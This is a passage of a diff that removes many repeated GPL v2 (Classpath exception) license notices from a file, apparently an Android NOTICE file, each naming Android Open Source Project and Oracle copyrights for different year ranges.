-Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
-
-Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
-or visit www.oracle.com if you need additional information or have any
-questions.
-
--------------------------------------------------------------------
-
-Copyright (C) 2014 The Android Open Source Project
-Copyright (c) 2000, 2006, Oracle and/or its affiliates. All rights reserved.
-DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
-
-This code is free software; you can redistribute it and/or modify it
-under the terms of the GNU General Public License version 2 only, as
-published by the Free Software Foundation.  Oracle designates this
-particular file as subject to the "Classpath" exception as provided
-by Oracle in the LICENSE file that accompanied this code.
-
-This code is distributed in the hope that it will be useful, but WITHOUT
-ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
-FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
-version 2 for more details (a copy is included in the LICENSE file that
-accompanied this code).
-
-You should have received a copy of the GNU General Public License version
-2 along with this work; if not, write to the Free Software Foundation,
-Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
-
-Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
-or visit www.oracle.com if you need additional information or have any
-questions.
-
--------------------------------------------------------------------
-
-Copyright (C) 2014 The Android Open Source Project
-Copyright (c) 2000, 2008, Oracle and/or its affiliates. All rights reserved.
-DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
-
-This code is free software; you can redistribute it and/or modify it
-under the terms of the GNU General Public License version 2 only, as
-published by the Free Software Foundation.  Oracle designates this
-particular file as subject to the "Classpath" exception as provided
-by Oracle in the LICENSE file that accompanied this code.
-
-This code is distributed in the hope that it will be useful, but WITHOUT
-ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
-FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
-version 2 for more details (a copy is included in the LICENSE file that
-accompanied this code).
-
-You should have received a copy of the GNU General Public License version
-2 along with this work; if not, write to the Free Software Foundation,
-Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
-
-Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
-or visit www.oracle.com if you need additional information or have any
-questions.
-
--------------------------------------------------------------------
-
-Copyright (C) 2014 The Android Open Source Project
-Copyright (c) 2000, 2009, Oracle and/or its affiliates. All rights reserved.
-DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
-
-This code is free software; you can redistribute it and/or modify it
-under the terms of the GNU General Public License version 2 only, as
-published by the Free Software Foundation.  Oracle designates this
-particular file as subject to the "Classpath" exception as provided
-by Oracle in the LICENSE file that accompanied this code.
-
-This code is distributed in the hope that it will be useful, but WITHOUT
-ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
-FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
-version 2 for more details (a copy is included in the LICENSE file that
-accompanied this code).
-
-You should have received a copy of the GNU General Public License version
-2 along with this work; if not, write to the Free Software Foundation,
-Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
-
-Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
-or visit www.oracle.com if you need additional information or have any
-questions.
-
--------------------------------------------------------------------
-
-Copyright (C) 2014 The Android Open Source Project
-Copyright (c) 2000, 2010, Oracle and/or its affiliates. All rights reserved.
-DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
-
-This code is free software; you can redistribute it and/or modify it
-under the terms of the GNU General Public License version 2 only, as
-published by the Free Software Foundation.  Oracle designates this
-particular file as subject to the "Classpath" exception as provided
-by Oracle in the LICENSE file that accompanied this code.
-
-This code is distributed in the hope that it will be useful, but WITHOUT
-ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
-FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
-version 2 for more details (a copy is included in the LICENSE file that
-accompanied this code).
-
-You should have received a copy of the GNU General Public License version
-2 along with this work; if not, write to the Free Software Foundation,
-Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
-
-Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
-or visit www.oracle.com if you need additional information or have any
-questions.
-
--------------------------------------------------------------------
-
-Copyright (C) 2014 The Android Open Source Project
-Copyright (c) 2000, 2011, Oracle and/or its affiliates. All rights reserved.
-DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
-
-This code is free software; you can redistribute it and/or modify it
-under the terms of the GNU General Public License version 2 only, as
-published by the Free Software Foundation.  Oracle designates this
-particular file as subject to the "Classpath" exception as provided
-by Oracle in the LICENSE file that accompanied this code.
-
-This code is distributed in the hope that it will be useful, but WITHOUT
-ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
-FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
-version 2 for more details (a copy is included in the LICENSE file that
-accompanied this code).
-
-You should have received a copy of the GNU General Public License version
-2 along with this work; if not, write to the Free Software Foundation,
-Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
-
-Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
-or visit www.oracle.com if you need additional information or have any
-questions.
-
--------------------------------------------------------------------
-
-Copyright (C) 2014 The Android Open Source Project
-Copyright (c) 2000, 2012, Oracle and/or its affiliates. All rights reserved.
-DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
-
-This code is free software; you can redistribute it and/or modify it
-under the terms of the GNU General Public License version 2 only, as
-published by the Free Software Foundation.  Oracle designates this
-particular file as subject to the "Classpath" exception as provided
-by Oracle in the LICENSE file that accompanied this code.
-
-This code is distributed in the hope that it will be useful, but WITHOUT
-ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
-FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
-version 2 for more details (a copy is included in the LICENSE file that
-accompanied this code).
-
-You should have received a copy of the GNU General Public License version
-2 along with this work; if not, write to the Free Software Foundation,
-Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
-
-Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
-or visit www.oracle.com if you need additional information or have any
-questions.
-
--------------------------------------------------------------------
-
-Copyright (C) 2014 The Android Open Source Project
-Copyright (c) 2000, 2013, Oracle and/or its affiliates. All rights reserved.
-DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
-
-This code is free software; you can redistribute it and/or modify it
-under the terms of the GNU General Public License version 2 only, as
-published by the Free Software Foundation.  Oracle designates this
-particular file as subject to the "Classpath" exception as provided
-by Oracle in the LICENSE file that accompanied this code.
-
-This code is distributed in the hope that it will be useful, but WITHOUT
-ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
-FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
-version 2 for more details (a copy is included in the LICENSE file that
-accompanied this code).
-
-You should have received a copy of the GNU General Public License version
-2 along with this work; if not, write to the Free Software Foundation,
-Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
-
-Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
-or visit www.oracle.com if you need additional information or have any
-questions.
-
--------------------------------------------------------------------
-
-Copyright (C) 2014 The Android Open Source Project
-Copyright (c) 2001, 2002, Oracle and/or its affiliates. All rights reserved.
-DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
-
-This code is free software; you can redistribute it and/or modify it
-under the terms of the GNU General Public License version 2 only, as
-published by the Free Software Foundation.  Oracle designates this
-particular file as subject to the "Classpath" exception as provided
-by Oracle in the LICENSE file that accompanied this code.
-
-This code is distributed in the hope that it will be useful, but WITHOUT
-ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
-FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
-version 2 for more details (a copy is included in the LICENSE file that
-accompanied this code).
-
-You should have received a copy of the GNU General Public License version
-2 along with this work; if not, write to the Free Software Foundation,
-Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
-
-Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
-or visit www.oracle.com if you need additional information or have any
-questions.
-
--------------------------------------------------------------------
-
-Copyright (C) 2014 The Android Open Source Project
-Copyright (c) 2001, 2005, Oracle and/or its affiliates. All rights reserved.
-DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
-
-This code is free software; you can redistribute it and/or modify it
-under the terms of the GNU General Public License version 2 only, as
-published by the Free Software Foundation.  Oracle designates this
-particular file as subject to the "Classpath" exception as provided
-by Oracle in the LICENSE file that accompanied this code.
-
-This code is distributed in the hope that it will be useful, but WITHOUT
-ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
-FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
-version 2 for more details (a copy is included in the LICENSE file that
-accompanied this code).
-
-You should have received a copy of the GNU General Public License version
-2 along with this work; if not, write to the Free Software Foundation,
-Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
-
-Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
-or visit www.oracle.com if you need additional information or have any
-questions.
-
--------------------------------------------------------------------
-
-Copyright (C) 2014 The Android Open Source Project
-Copyright (c) 2001, 2008, Oracle and/or its affiliates. All rights reserved.
-DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
-
-This code is free software; you can redistribute it and/or modify it
-under the terms of the GNU General Public License version 2 only, as
-published by the Free Software Foundation.  Oracle designates this
-particular file as subject to the "Classpath" exception as provided
-by Oracle in the LICENSE file that accompanied this code.
-
-This code is distributed in the hope that it will be useful, but WITHOUT
-ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
-FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
-version 2 for more details (a copy is included in the LICENSE file that
-accompanied this code).
-
-You should have received a copy of the GNU General Public License version
-2 along with this work; if not, write to the Free Software Foundation,
-Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
-
-Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
-or visit www.oracle.com if you need additional information or have any
-questions.
-
--------------------------------------------------------------------
-
-Copyright (C) 2014 The Android Open Source Project
-Copyright (c) 2001, 2010, Oracle and/or its affiliates. All rights reserved.
-DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
-
-This code is free software; you can redistribute it and/or modify it
-under the terms of the GNU General Public License version 2 only, as
-published by the Free Software Foundation.  Oracle designates this
-particular file as subject to the "Classpath" exception as provided
-by Oracle in the LICENSE file that accompanied this code.
-
-This code is distributed in the hope that it will be useful, but WITHOUT
-ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
-FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
-version 2 for more details (a copy is included in the LICENSE file that
-accompanied this code).
-
-You should have received a copy of the GNU General Public License version
-2 along with this work; if not, write to the Free Software Foundation,
-Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
-
-Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
-or visit www.oracle.com if you need additional information or have any
-questions.
-
--------------------------------------------------------------------
-
-Copyright (C) 2014 The Android Open Source Project
-Copyright (c) 2001, 2012, Oracle and/or its affiliates. All rights reserved.
-DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
-
-This code is free software; you can redistribute it and/or modify it
-under the terms of the GNU General Public License version 2 only, as
-published by the Free Software Foundation.  Oracle designates this
-particular file as subject to the "Classpath" exception as provided
-by Oracle in the LICENSE file that accompanied this code.
-
-This code is distributed in the hope that it will be useful, but WITHOUT
-ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
-FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
-version 2 for more details (a copy is included in the LICENSE file that
-accompanied this code).
-
-You should have received a copy of the GNU General Public License version
-2 along with this work; if not, write to the Free Software Foundation,
-Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
-
-Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
-or visit www.oracle.com if you need additional information or have any
-questions.
-
--------------------------------------------------------------------
-
-Copyright (C) 2014 The Android Open Source Project
-Copyright (c) 2002, 2005, Oracle and/or its affiliates. All rights reserved.
-DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
-
-This code is free software; you can redistribute it and/or modify it
-under the terms of the GNU General Public License version 2 only, as
-published by the Free Software Foundation.  Oracle designates this
-particular file as subject to the "Classpath" exception as provided
-by Oracle in the LICENSE file that accompanied this code.
-
-This code is distributed in the hope that it will be useful, but WITHOUT
-ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
-FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
-version 2 for more details (a copy is included in the LICENSE file that
-accompanied this code).
-
-You should have received a copy of the GNU General Public License version
-2 along with this work; if not, write to the Free Software Foundation,
-Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
-
-Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
-or visit www.oracle.com if you need additional information or have any
-questions.
-
--------------------------------------------------------------------
-
-Copyright (C) 2014 The Android Open Source Project
-Copyright (c) 2002, 2006, Oracle and/or its affiliates. All rights reserved.
-DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
-
-This code is free software; you can redistribute it and/or modify it
-under the terms of the GNU General Public License version 2 only, as
-published by the Free Software Foundation.  Oracle designates this
-particular file as subject to the "Classpath" exception as provided
-by Oracle in the LICENSE file that accompanied this code.
-
-This code is distributed in the hope that it will be useful, but WITHOUT
-ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
-FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
-version 2 for more details (a copy is included in the LICENSE file that
-accompanied this code).
-
-You should have received a copy of the GNU General Public License version
-2 along with this work; if not, write to the Free Software Foundation,
-Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
-
-Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
-or visit www.oracle.com if you need additional information or have any
-questions.
-
--------------------------------------------------------------------
-
-Copyright (C) 2014 The Android Open Source Project
-Copyright (c) 2002, 2010, Oracle and/or its affiliates. All rights reserved.
-DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
-
-This code is free software; you can redistribute it and/or modify it
-under the terms of the GNU General Public License version 2 only, as
-published by the Free Software Foundation.  Oracle designates this
-particular file as subject to the "Classpath" exception as provided
-by Oracle in the LICENSE file that accompanied this code.
-
-This code is distributed in the hope that it will be useful, but WITHOUT
-ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
-FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
-version 2 for more details (a copy is included in the LICENSE file that
-accompanied this code).
-
-You should have received a copy of the GNU General Public License version
-2 along with this work; if not, write to the Free Software Foundation,
-Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
-
-Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
-or visit www.oracle.com if you need additional information or have any
-questions.
-
--------------------------------------------------------------------
-
-Copyright (C) 2014 The Android Open Source Project
-Copyright (c) 2003, 2004, Oracle and/or its affiliates. All rights reserved.
-DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
-
-This code is free software; you can redistribute it and/or modify it
-under the terms of the GNU General Public License version 2 only, as
-published by the Free Software Foundation.  Oracle designates this
-particular file as subject to the "Classpath" exception as provided
-by Oracle in the LICENSE file that accompanied this code.
-
-This code is distributed in the hope that it will be useful, but WITHOUT
-ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
-FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
-version 2 for more details (a copy is included in the LICENSE file that
-accompanied this code).
-
-You should have received a copy of the GNU General Public License version
-2 along with this work; if not, write to the Free Software Foundation,
-Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
-
-Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
-or visit www.oracle.com if you need additional information or have any
-questions.
-
--------------------------------------------------------------------
-
-Copyright (C) 2014 The Android Open Source Project
-Copyright (c) 2003, 2008, Oracle and/or its affiliates. All rights reserved.
-DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
-
-This code is free software; you can redistribute it and/or modify it
-under the terms of the GNU General Public License version 2 only, as
-published by the Free Software Foundation.  Oracle designates this
-particular file as subject to the "Classpath" exception as provided
-by Oracle in the LICENSE file that accompanied this code.
-
-This code is distributed in the hope that it will be useful, but WITHOUT
-ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
-FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
-version 2 for more details (a copy is included in the LICENSE file that
-accompanied this code).
-
-You should have received a copy of the GNU General Public License version
-2 along with this work; if not, write to the Free Software Foundation,
-Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
-
-Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
-or visit www.oracle.com if you need additional information or have any
-questions.
-
--------------------------------------------------------------------
-
-Copyright (C) 2014 The Android Open Source Project
-Copyright (c) 2003, 2009, Oracle and/or its affiliates. All rights reserved.
-DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
-
-This code is free software; you can redistribute it and/or modify it
-under the terms of the GNU General Public License version 2 only, as
-published by the Free Software Foundation.  Oracle designates this
-particular file as subject to the "Classpath" exception as provided
-by Oracle in the LICENSE file that accompanied this code.
-
-This code is distributed in the hope that it will be useful, but WITHOUT
-ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
-FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
-version 2 for more details (a copy is included in the LICENSE file that
-accompanied this code).
-
-You should have received a copy of the GNU General Public License version
-2 along with this work; if not, write to the Free Software Foundation,
-Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
-
-Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
-or visit www.oracle.com if you need additional information or have any
-questions.
-
--------------------------------------------------------------------
-
-Copyright (C) 2014 The Android Open Source Project
-Copyright (c) 2003, 2010, Oracle and/or its affiliates. All rights reserved.
-DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
-
-This code is free software; you can redistribute it and/or modify it
-under the terms of the GNU General Public License version 2 only, as
-published by the Free Software Foundation.  Oracle designates this
-particular file as subject to the "Classpath" exception as provided
-by Oracle in the LICENSE file that accompanied this code.
-
-This code is distributed in the hope that it will be useful, but WITHOUT
-ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
-FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
-version 2 for more details (a copy is included in the LICENSE file that
-accompanied this code).
-
-You should have received a copy of the GNU General Public License version
-2 along with this work; if not, write to the Free Software Foundation,
-Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
-
-Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
-or visit www.oracle.com if you need additional information or have any
-questions.
-
--------------------------------------------------------------------
-
-Copyright (C) 2014 The Android Open Source Project
-Copyright (c) 2003, 2011, Oracle and/or its affiliates. All rights reserved.
-DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
-
-This code is free software; you can redistribute it and/or modify it
-under the terms of the GNU General Public License version 2 only, as
-published by the Free Software Foundation.  Oracle designates this
-particular file as subject to the "Classpath" exception as provided
-by Oracle in the LICENSE file that accompanied this code.
-
-This code is distributed in the hope that it will be useful, but WITHOUT
-ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
-FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
-version 2 for more details (a copy is included in the LICENSE file that
-accompanied this code).
-
-You should have received a copy of the GNU General Public License version
-2 along with this work; if not, write to the Free Software Foundation,
-Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
-
-Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
-or visit www.oracle.com if you need additional information or have any
-questions.
-
--------------------------------------------------------------------
-
-Copyright (C) 2014 The Android Open Source Project
-Copyright (c) 2003, Oracle and/or its affiliates. All rights reserved.
-DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
-
-This code is free software; you can redistribute it and/or modify it
-under the terms of the GNU General Public License version 2 only, as
-published by the Free Software Foundation.  Oracle designates this
-particular file as subject to the "Classpath" exception as provided
-by Oracle in the LICENSE file that accompanied this code.
-
-This code is distributed in the hope that it will be useful, but WITHOUT
-ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
-FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
-version 2 for more details (a copy is included in the LICENSE file that
-accompanied this code).
-
-You should have received a copy of the GNU General Public License version
-2 along with this work; if not, write to the Free Software Foundation,
-Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
-
-Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
-or visit www.oracle.com if you need additional information or have any
-questions.
-
--------------------------------------------------------------------
-
-Copyright (C) 2014 The Android Open Source Project
-Copyright (c) 2004, Oracle and/or its affiliates. All rights reserved.
-DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
-
-This code is free software; you can redistribute it and/or modify it
-under the terms of the GNU General Public License version 2 only, as
-published by the Free Software Foundation.  Oracle designates this
-particular file as subject to the "Classpath" exception as provided
-by Oracle in the LICENSE file that accompanied this code.
-
-This code is distributed in the hope that it will be useful, but WITHOUT
-ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
-FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
-version 2 for more details (a copy is included in the LICENSE file that
-accompanied this code).
-
-You should have received a copy of the GNU General Public License version
-2 along with this work; if not, write to the Free Software Foundation,
-Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
-
-Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
-or visit www.oracle.com if you need additional information or have any
-questions.
-
--------------------------------------------------------------------
-
-Copyright (C) 2014 The Android Open Source Project
-Copyright (c) 2005, 2006, Oracle and/or its affiliates. All rights reserved.
-DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
-
-This code is free software; you can redistribute it and/or modify it
-under the terms of the GNU General Public License version 2 only, as
-published by the Free Software Foundation.  Oracle designates this
-particular file as subject to the "Classpath" exception as provided
-by Oracle in the LICENSE file that accompanied this code.
-
-This code is distributed in the hope that it will be useful, but WITHOUT
-ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
-FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
-version 2 for more details (a copy is included in the LICENSE file that
-accompanied this code).
-
-You should have received a copy of the GNU General Public License version
-2 along with this work; if not, write to the Free Software Foundation,
-Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
-
-Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
-or visit www.oracle.com if you need additional information or have any
-questions.
-
--------------------------------------------------------------------
-
-Copyright (C) 2014 The Android Open Source Project
-Copyright (c) 2005, 2008, Oracle and/or its affiliates. All rights reserved.
-DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
-
-This code is free software; you can redistribute it and/or modify it
-under the terms of the GNU General Public License version 2 only, as
-published by the Free Software Foundation.  Oracle designates this
-particular file as subject to the "Classpath" exception as provided
-by Oracle in the LICENSE file that accompanied this code.
-
-This code is distributed in the hope that it will be useful, but WITHOUT
-ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
-FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
-version 2 for more details (a copy is included in the LICENSE file that
-accompanied this code).
-
-You should have received a copy of the GNU General Public License version
-2 along with this work; if not, write to the Free Software Foundation,
-Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
-
-Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
-or visit www.oracle.com if you need additional information or have any
-questions.
-
--------------------------------------------------------------------
-
-Copyright (C) 2014 The Android Open Source Project
-Copyright (c) 2005, 2010, Oracle and/or its affiliates. All rights reserved.
-DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
-
-This code is free software; you can redistribute it and/or modify it
-under the terms of the GNU General Public License version 2 only, as
-published by the Free Software Foundation.  Oracle designates this
-particular file as subject to the "Classpath" exception as provided
-by Oracle in the LICENSE file that accompanied this code.
-
-This code is distributed in the hope that it will be useful, but WITHOUT
-ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
-FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
-version 2 for more details (a copy is included in the LICENSE file that
-accompanied this code).
-
-You should have received a copy of the GNU General Public License version
-2 along with this work; if not, write to the Free Software Foundation,
-Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
-
-Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
-or visit www.oracle.com if you need additional information or have any
-questions.
-
--------------------------------------------------------------------
-
-Copyright (C) 2014 The Android Open Source Project
-Copyright (c) 2005, 2011, Oracle and/or its affiliates. All rights reserved.
-DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
-
-This code is free software; you can redistribute it and/or modify it
-under the terms of the GNU General Public License version 2 only, as
-published by the Free Software Foundation.  Oracle designates this
-particular file as subject to the "Classpath" exception as provided
-by Oracle in the LICENSE file that accompanied this code.
-
-This code is distributed in the hope that it will be useful, but WITHOUT
-ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
-FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
-version 2 for more details (a copy is included in the LICENSE file that
-accompanied this code).
-
-You should have received a copy of the GNU General Public License version
-2 along with this work; if not, write to the Free Software Foundation,
-Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
-
-Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
-or visit www.oracle.com if you need additional information or have any
-questions.
-
--------------------------------------------------------------------
-
-Copyright (C) 2014 The Android Open Source Project
-Copyright (c) 2005, 2012, Oracle and/or its affiliates. All rights reserved.
-DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
-
-This code is free software; you can redistribute it and/or modify it
-under the terms of the GNU General Public License version 2 only, as
-published by the Free Software Foundation.  Oracle designates this
-particular file as subject to the "Classpath" exception as provided
-by Oracle in the LICENSE file that accompanied this code.
-
-This code is distributed in the hope that it will be useful, but WITHOUT
-ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
-FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
-version 2 for more details (a copy is included in the LICENSE file that
-accompanied this code).
-
-You should have received a copy of the GNU General Public License version
-2 along with this work; if not, write to the Free Software Foundation,
-Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
-
-Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
-or visit www.oracle.com if you need additional information or have any
-questions.
-
--------------------------------------------------------------------
-
-Copyright (C) 2014 The Android Open Source Project
-Copyright (c) 2005, 2013 Oracle and/or its affiliates. All rights reserved.
-DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
-
-This code is free software; you can redistribute it and/or modify it
-under the terms of the GNU General Public License version 2 only, as
-published by the Free Software Foundation.  Oracle designates this
-particular file as subject to the "Classpath" exception as provided
-by Oracle in the LICENSE file that accompanied this code.
-
-This code is distributed in the hope that it will be useful, but WITHOUT
-ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
-FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
-version 2 for more details (a copy is included in the LICENSE file that
-accompanied this code).
-
-You should have received a copy of the GNU General Public License version
-2 along with this work; if not, write to the Free Software Foundation,
-Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
-
-Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
-or visit www.oracle.com if you need additional information or have any
-questions.
-
--------------------------------------------------------------------
-
-Copyright (C) 2014 The Android Open Source Project
-Copyright (c) 2005, Oracle and/or its affiliates. All rights reserved.
-DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
-
-This code is free software; you can redistribute it and/or modify it
-under the terms of the GNU General Public License version 2 only, as
-published by the Free Software Foundation.  Oracle designates this
-particular file as subject to the "Classpath" exception as provided
-by Oracle in the LICENSE file that accompanied this code.
-
-This code is distributed in the hope that it will be useful, but WITHOUT
-ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
-FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
-version 2 for more details (a copy is included in the LICENSE file that
-accompanied this code).
-
-You should have received a copy of the GNU General Public License version
-2 along with this work; if not, write to the Free Software Foundation,
-Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
-
-Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
-or visit www.oracle.com if you need additional information or have any
-questions.
-
--------------------------------------------------------------------
-
-Copyright (C) 2014 The Android Open Source Project
-Copyright (c) 2006, Oracle and/or its affiliates. All rights reserved.
-DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
